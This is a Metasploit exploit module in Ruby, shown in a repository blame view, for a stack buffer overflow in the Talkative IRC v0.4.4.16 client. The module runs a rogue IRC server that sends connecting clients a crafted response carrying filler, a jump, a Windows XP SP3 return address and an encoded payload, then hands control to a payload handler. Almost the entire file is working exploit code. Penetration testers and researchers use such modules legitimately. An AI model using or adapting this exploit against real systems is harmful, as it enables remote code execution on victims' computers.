Files
metasploit-gs/modules/exploits/windows/misc/talkative_response.rb
T

75 lines
2.1 KiB
Ruby
Raw Normal View History

##
2014-10-17 11:47:33 -05:00
# This module requires Metasploit: http://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 16:28:54 -05:00
Rank = NormalRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::TcpServer
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Talkative IRC v0.4.4.16 Response Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Talkative IRC v0.4.4.16.
When a specially crafted response string is sent to a client,
an attacker may be able to execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '64582'],
2013-08-30 16:28:54 -05:00
[ 'BID', '34141' ],
[ 'EDB', '8227' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'AllowWin32SEH' => true
2013-08-30 16:28:54 -05:00
},
'Payload' =>
{
'Space' => 750,
'BadChars' => "\x00\x0a\x20\x0d",
'StackAdjustment' => -3500,
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 English', { 'Ret' => 0x72d1146b } ],
],
'Privileged' => false,
'DisclosureDate' => 'Mar 17 2009',
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
register_options(
[
OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ])
], self.class)
end
2013-08-30 16:28:54 -05:00
def on_client_connect(client)
res = ":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n"
client.put(res)
end
2013-08-30 16:28:54 -05:00
def on_client_data(client)
2014-05-10 23:31:02 +02:00
return unless regenerate_payload(client)
2013-08-30 16:28:54 -05:00
sploit = ":" + rand_text_alpha_upper(272) + Rex::Arch::X86.jmp_short(6)
sploit << rand_text_alpha_upper(2) + [target.ret].pack('V') + payload.encoded
sploit << " PRIVMSG " + rand_text_alpha(rand(10) + 1)
sploit << " : /FINGER " + rand_text_alpha(rand(10) + 1) + ".\r\n"
2013-08-30 16:28:54 -05:00
client.put(sploit)
2013-08-30 16:28:54 -05:00
handler
service.close_client(client)
end
end